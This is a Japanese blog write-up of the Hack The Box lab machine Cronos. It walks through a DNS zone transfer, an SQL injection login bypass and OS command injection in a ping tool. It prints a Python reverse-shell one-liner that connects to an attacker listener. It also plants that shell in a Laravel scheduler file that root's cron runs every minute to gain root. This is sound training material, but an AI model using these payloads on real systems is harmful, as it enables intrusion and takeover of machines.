hack the box Cronos [linux]
こんにちは。グレープ粗茶です。
今回はhack the box のmedium machine をやっていきたいと思います。
nmap
最近は空いているポートだけを先に調べたうえで、限定したポートに詳細な調査オプションを付けて実行しています。
# Nmap 7.80 scan initiated Sun May 31 03:44:52 2020 as: nmap -sC -Pn -A -p22,53,80 -oA output cronos.htb Nmap scan report for cronos.htb (10.10.10.13) Host is up (0.17s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA) | 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA) |_ 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519) 53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux) | dns-nsid: |_ bind.version: 9.10.3-P4-Ubuntu 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Cronos Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ネームサーバーが動いているのでcronos.htbにアクセスすると、laravelの初期画面を書き換えたものが表示される
ちなみに10.10.10.13にアクセスすると、apacheの初期画面が表示されます。 ippsec曰く、これが見えると設定ミスがあるだとか言っていましたね。
(追記)
ちなみにどのようにapacheでvirtualhostが設定されているのか張っておきますね
www-data@cronos:/etc/apache2/sites-available$ ls ls 000-default.conf admin.conf default-ssl.conf laravel.conf www-data@cronos:/etc/apache2/sites-available$ cat laravel cat laravel.conf <VirtualHost *:80> ServerAdmin admin@your_domain.com DocumentRoot /var/www/laravel/public/ ServerName cronos.htb ServerAlias www.cronos.htb <Directory /var/www/html/laravel/> Options FollowSymLinks AllowOverride All Order allow,deny allow from all </Directory> ErrorLog /var/log/apache2/chronos.htb-error_log CustomLog /var/log/apache2/chronos.htb-access_log common </VirtualHost>
侵入経路見つからず…
writeupを少し読んでみると、DNSのところをしっかり調べる必要があるみたいです。
port 53
次にドメインのネームサーバが動いている事から、ゾーン転送を行うようです。
正味DNSの知識が無かったので、いろいろ調べて読んでみました。
そこで「DNSをはじめよう」という同人誌を参照しました。とても説明が分かりやすく、ハンズオン形式で進むため面白かったです。多分続編の「AWSをはじめよう」も買ってしまうかもしれない…(構成がうまい)
そんなわけで、DNSのゾーンファイルを参照するために digのaxfrのオプションを加えて実行します。
ちなみにゾーン転送が許可されていないと「transfer failed」 とエラーが返ってくるらしいです。初心者のためのDNS運用入門
kali@kali:~/htb/hkb/cronos/nmap$ dig @10.10.10.13 cronos.htb axfr ; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> @10.10.10.13 cronos.htb axfr ; (1 server found) ;; global options: +cmd cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800 cronos.htb. 604800 IN NS ns1.cronos.htb. cronos.htb. 604800 IN A 10.10.10.13 admin.cronos.htb. 604800 IN A 10.10.10.13 ns1.cronos.htb. 604800 IN A 10.10.10.13 www.cronos.htb. 604800 IN A 10.10.10.13 cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800 ;; Query time: 274 msec ;; SERVER: 10.10.10.13#53(10.10.10.13) ;; WHEN: Mon Jun 08 07:38:58 EDT 2020 ;; XFR size: 7 records (messages 1, bytes 203)
すると、admin.cronos.htbというサブドメインが発見できます\(^_^)/
port 80
次にadmin.cronos.htbに接続してみる。
そこでは、簡単なSQLinjectionを刺すことができた。
admin画面
ログイン画面を開くと次のような画面が表示されます。
どうやらpingコマンドを使える管理ツールのようです。一瞬で刺さりそうですねコレハ。
とりあえず、OSコマンドインジェクションが行けそうなので仕掛けてみます。
刺さりましたね。 ということで、reverseshellをやっていきます。
;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.27",4444 ));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
そんなわけで、user.txtを覗いていきます💪
$ ls -l /home/ total 4 drwxr-xr-x 4 noulis noulis 4096 Apr 9 2017 noulis $ ls -l /home/noulis total 4 -r--r--r-- 1 noulis noulis 33 Mar 22 2017 user.txt $ cat /home/noulis/user.txt <kotae>
privilege escalation
LinEnum.shを用いてsuidやcrontabなどを見ていきます。 下の情報はcrontabです。
# m h dom mon dow user command 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) * * * * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1 #
どうやら毎分laravelのscheduleが走っているそうです。ということで、親の顔より見たredoubleを参照します(適当)
https://readouble.com/laravel/5.7/ja/scheduling.html
コマンド実行のメソッドがあるのでそれを利用して、reverseshellを実行するコマンドを設定します。
<?php namespace App\Console; use Illuminate\Console\Scheduling\Schedule; use Illuminate\Foundation\Console\Kernel as ConsoleKernel; class Kernel extends ConsoleKernel { /** * The Artisan commands provided by your application. * * @var array */ protected $commands = [ // ]; /** * Define the application's command schedule. * * @param \Illuminate\Console\Scheduling\Schedule $schedule * @return void */ protected function schedule(Schedule $schedule) { // $schedule->command('inspire') // ->hourly(); // $schedule->exec('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.27",4444 ));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'')->cron('* * * * *'); } /** * Register the Closure based commands for the application. * * @return void */ protected function commands() { require base_path('routes/console.php'); } }
適当に一分ほど待ってるとshellが返ってきます。
kali@kali:~$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.27] from (UNKNOWN) [10.10.10.13] 50326 /bin/sh: 0: can't access tty; job control turned off # id uid=0(root) gid=0(root) groups=0(root) # cat /root/user.txt cat: /root/user.txt: No such file or directory # cat /root/root.txt <kotae>
感想
今回は唯一知ってるフレームワークのlaravelが問題の一部とされていて、解いていてとても楽しかったです。やはり知っていると、素早くリファレンス等にたどり着けて、どこ弄ればいいのか分かるので楽しいですね~。
DNSについては、講義で軽く触れる程度でしか知らなかったので再度自分で勉強する機会ができたので良かったです。
あと解いた後に気づいたんですけど、cronosってcrontabの文字遊びだったんですね…